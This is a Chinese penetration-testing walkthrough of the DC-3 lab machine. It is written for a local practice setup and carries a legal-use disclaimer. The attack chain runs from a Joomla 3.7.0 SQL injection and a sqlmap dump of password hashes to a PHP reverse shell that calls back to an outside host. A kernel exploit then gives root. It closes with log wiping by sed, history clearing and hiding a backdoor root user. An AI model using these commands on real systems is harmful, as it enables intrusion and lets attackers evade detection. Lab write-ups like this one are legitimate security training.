前言:本此靶机涉及到了内核提权漏洞,然后有些教程里面说开靶机的时候有问题,但我没啥问题(因为毕竟两个软件开的,也算是独树一帜hhh)也算是自己的探索结合别的师傅进行一个汇总吧
免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境(DC-3靶机)中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。
1.信息搜集
开始的话就不再赘述了,甩两条命令看看就行:
bash
nmap -sn 10.254.85.0/24
nmap -sV -p- 10.254.85.130

可以看到就开了个80端口,插件看一眼是joomla:

或者命令行输入找一下:
bash
whatweb -v 10.254.85.130

进去的界面有如下提示:

简单来说就是一个flag和入口点,没有提示,最终需要提权,先扫个目录看看有没有后台可以进啥的:
bash
dirsearch -u http://10.254.85.130 -e *

直接扫到了管理员后台,进去之后就是一个登录界面,要账户密码,后面应该是要爆破的:

再看一下Joomla的版本,看看有没有相应漏洞,有joomscan这么一个工具:
bash
joomscan -u 10.254.85.130

扫出来Joomla的版本为3.7.0,网上搜一下可以发现是存在SQL注入漏洞,poc如下:
bash
http://your-ip:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database),1)
相关参数如下,感兴趣的可以看看:
| 参数 | 含义 | 作用 |
|---|---|---|
index.php |
入口文件 | Joomla 的核心前端控制器,所有 HTTP 请求都会通过它来解析和路由。 |
option=com_fields |
组件 (Component) | 告诉 Joomla 加载名为 com_fields(自定义字段)的组件。这个组件是在 Joomla 3.7.0 版本新引入的。 |
view=fields |
视图 (View) | 指定加载 com_fields 组件中的 fields 视图。在漏洞场景中,结合下一个参数,会强制加载该组件的管理员视图。 |
layout=modal |
布局 (Layout) | 指定以 modal(模态框)的布局来渲染 fields 视图。这是触发漏洞的关键条件之一,它会让 Joomla 从管理员目录加载模型(Model),从而暴露了本不该对公网开放的逻辑。 |
list[fullordering] |
用户输入参数 | 这是 com_fields 组件中用于控制列表排序方式的参数。漏洞正是出在这里 。程序在拼接 SQL 语句时,只使用了 escape 函数(仅转义引号),而未对内容做严格过滤,导致攻击者可以在这里注入恶意的 SQL 代码。 |
这里想偷懒一下,先试试metasploit能不能直接搞出个shell:
bash
# 启动msfconsole
msfconsole
# 在msf中搜索drupal相关漏洞
search joomla

看到第六个刚好就是sqli-rce(果然是非常强大的工具),按照之前DC-1的流程走一遍:
bash
use 6
show options
set RHOSTS 10.254.85.130
run
然后这里就出现了一个问题,提示说需要管理员权限:

(插入一句,我发现好像metasploit也能看到版本哎:

算是直接帮忙检测了?不过还是得知道版本才能选用哪一个漏洞hhh)
2.数据库爆破
┭┮﹏┭┮ 还是得爆数据库,那么就用之前给的poc看一下,先是爆数据库:
bash
http://10.254.85.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)

得到数据库名为joomladb,然后是爆表:
bash
10.254.85.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)

但是这样一个个爆过去太麻烦了,上sqlmap,懒人一条龙如下:
bash
sqlmap -u "http://10.254.85.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
命令参数拆解如下:
-u <URL>:指定要扫描的目标网址。
--risk=3:设置探测风险等级,范围为1-3。等级3会使用"OR"等更可能导致数据被篡改的语句进行测试,虽然风险高,但能提高发现漏洞的概率。在靶场环境中可以放心使用 。
--level=5:设置探测深度,范围为1-5。等级5会让sqlmap测试更多的HTTP参数和请求头(如User-Agent、Referer、Cookie等),虽然慢,但更彻底。DC-3的注入点正需要这么高的等级才能检测到 。
--random-agent:随机更换User-Agent(浏览器标识)。这可以避免被一些简单的防护机制识别和拦截 。
--dbs:这个参数告诉sqlmap,在检测到注入后,直接开始枚举所有数据库的名称 。
-p list[fullordering]:手动指定注入参数。-p参数强制sqlmap只对list[fullordering]这个特定的参数进行测试,因为漏洞点就在这里,可以避免浪费时间去测试其他无关参数 。
--batch:自动运行模式。使用该参数后,sqlmap遇到询问都会自动选择默认选项,全程无需手动干预,非常适合教程场景

一共爆出这么几个,然后是爆表:
bash
sqlmap -u "http://10.254.85.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch
-D 是 Database 的缩写,用于指定要操作的数据库名称。

爆出来一堆,工具用的好果然能提升效率。看到这里有一个比较关键的users表,爆个字段:
bash
sqlmap -u "http://10.254.85.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,username,password --dump -p list[fullordering] --batch
-T = Table(表)指定要操作的表是 #__users
-C = Column(列)指定要导出的列:姓名(name)、用户名(username)、密码(password)
--dump导出数据:将选中的数据导出并显示
bash
john --format=bcrypt --show dc3_hash.txt
这是一个非常典型的 Joomla 密码哈希,开头是 $2y$,代表它是 bcrypt 算法加密,$2y$10$ 中的 10 表示加密强度(成本因子)又学到了一个新的爆破工具:john【能够处理众多不同类型的密码哈希】
我们先将这个哈希保存到一个文件中:
bash
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > dc3_hash.txt
爆破一下:
bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt dc3_hash.txt
--format=bcrypt - 指定哈希类型
--format=:告诉 john 要破解的密码是什么加密类型
bcrypt:指定为 bcrypt 加密($2y$10$ 开头的)
--wordlist= - 指定字典文件
--wordlist=:告诉 john 用哪个密码字典来尝试
/usr/share/wordlists/rockyou.txt:Kali 自带的经典密码字典
然后我之前已经爆破过一次了所以这里就没再显示,查找一下即可:
bash
john --format=bcrypt --show dc3_hash.txt

3.获取shell
确认密码为snoopy,接下来就是连上shell,有挺多方法的,不用metasploit的话就是写文件进行反弹shell,这里面登录最开始进去的那个页面没搞出来啥东西,得用到我们之前扫出来的那个administrator界面:

那么这里就有师傅就会问了:为什么这么直接就找到这里面写反弹shell的文件呢?这是 Joomla 渗透测试中的一个经典 Getshell 手法,在各种安全文章和实战中都被广泛提及和验证:
选择模板(Templates)作为攻击入口,主要有以下几个原因:
直接写入 Web 可执行文件 :模板文件(如
index.php、error.php)都是.php后缀,存放在网站的templates目录下。修改这些文件,相当于直接在服务器上创建一个能被浏览器访问并执行的 PHP 脚本。代码可执行 :
.php文件中的任何 PHP 代码都会被服务器解析执行。反弹 Shell 的代码本质就是一段 PHP 脚本,因此模板文件是放置它的理想位置。权限维持 :修改一个系统核心的模板文件(如
error.php),即使管理员发现了我们的后门并删除,也可能因为忽略了模板文件的完整性而留下隐患。而且error.php这样的文件通常会在特定错误条件下被调用,触发起来可能更隐蔽。
我们点击蓝色的Beez3那个,进去之后就能看到一堆文件,这里新建一个即可:

bash
<?php
system("bash -c 'bash -i >& /dev/tcp/ip/4444 0>&1'");
?>
//填自己的ip和监听的端口就行,我这里kali里面是 nc -lvp 4444
但是开了监听之后并没有什么神奇的事情出现,因为我们只是写了这么一个文件在模板中,还需要访问才能触发。之前用dirsearch扫路径的时候是可以看到/templates/beez3/是可以访问的(忘记了的话可以自己翻一翻或者再扫一次),那么我们现在再浏览器里重新输入:
bash
http://ip/templates/beez3/html/nc.php

可以看到就能执行成功了.
或者简单一点的,还记得我们之前用metasploit的时候提示说要管理员权限吗,我们登录了之后就有这个权限了,那么就应该能直接连shell(具体方法写在前面,翻一下就好了,这里给个交互):
bash
python -c 'import pty; pty.spawn("/bin/bash")'

也是成功连接
4.提权
bash
find / -perm -u=s -type f 2>/dev/null

这里面我尝试了一下好像不行,那么回到刚开始的那个提示界面:

讲到了system,有可能是内核提权看一眼:
bash
uname -a
#显示所有系统信息
uname -r
#只显示内核版本
cat /etc/issue
#显示发行版信息

用searchexploit找一下:
bash
searchsploit Ubuntu 16.04

看到有挺多的,可以网上搜一搜具体的,这里就是选择39772.txt那个:

现在要将exp下到靶机上面:
bash
www-data@DC-3:/var/www/html/templates/beez3/html$ wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
#然后解压一下
unzip 39772.zip

先转到39772目录下面,可以列一下文件,可以看到有个exploit的tar包,这就是我们要利用的exp,解压一下:
bash
tar -xvf exploit.tar
| 参数 | 全称 | 含义 | 作用 |
|---|---|---|---|
-x |
extract | 解压 | 从归档文件中提取文件 |
-v |
verbose | 详细模式 | 显示正在解压的文件列表 |
-f |
file | 文件 | 指定要操作的文件名 |

使用的方法和成功结果也在文章中写出来了:

按照上面的走,先转目录,再看一眼文件:
bash
cd ebpf_mapfd_doubleput_exploit
ls -la

执行编译文件:
bash
# 给编译脚本执行权限
chmod +x compile.sh
# 运行编译脚本
./compile.sh
# 查看编译生成的文件
ls -la

最后就是运行漏洞利用程序:
bash
./doubleput

转到/root目录下拿到flag:
bash
cd /root
cat t*

Have a great day!
5.痕迹清理
这里参考自c30师傅的清理过程:DC-3靶机渗透 痕迹清理很详细,有些是我之前没想到的
清除web日志
Ubuntu 的 Apache 日志:
bash
/var/log/apache2/
├── access.log # 访问日志(谁、什么时候、访问了什么)
├── error.log # 错误日志
├── other_vhosts_access.log
└── ...

可以直接删除跟我们ip有关的记录:
bash
# 先看看日志里有哪些我们的痕迹
grep "10.254.85.130" /var/log/apache2/access.log
# 用 sed 命令删除包含我们IP的行
sed -i '/10.254.85.130/d' /var/log/apache2/access.log
# 同样处理 error.log
sed -i '/10.254.85.130/d' /var/log/apache2/error.log
清除系统日志
bash
# 删除 auth.log 中包含 10.254.85.130 的所有行
sed -i '/10.254.85.130/d' /var/log/auth.log
# 删除 syslog 中包含 10.254.85.130 的所有行
sed -i '/10.254.85.130/d' /var/log/syslog

清除上传的文件
bash
rm /var/www/html/templates/beez3/html/nc.php
rm -rf /var/www/html/templates/beez3/39772/
这里有个点是会话建立后删除文件并不会中断当前会话,反弹 Shell 文件就像一把钥匙,我们用它打开门进去之后,钥匙就可以扔了,门已经开着,我们在里面活动不受影响。
数据库日志清除
mysql中也有一个error.log,里面主要记录的是日期有关的:

bash
sed -i '/2026-03/d' /var/log/mysql/error.log

可以看到只剩2020年的了
清除历史命令
清除之前我们所产生的:

bash
history -c
#临时禁用历史记录
set +o history
临时关闭当前 shell 的历史记录功能,之后的所有命令都不进内存,自然也不会写文件。
6.总结
这里最后还可以植入持久化后门的,由于之前写过了这里就不再赘述,方法都一样。着重一下useradd一个root用户那里,创建的位置建议是/var/log目录下,在 Linux 中,以点开头的文件或目录默认被 ls 隐藏,用户同理 ,比如我们在该目录下创建**.systemd**,管理员一般都是直接ls,那么我们创建的用户很可能被忽略(但是应该都是ls -la了吧...)
第一次接触到内核提权也是学到了很多,以及对痕迹清理的进一步拓展,期待下一个靶机ing...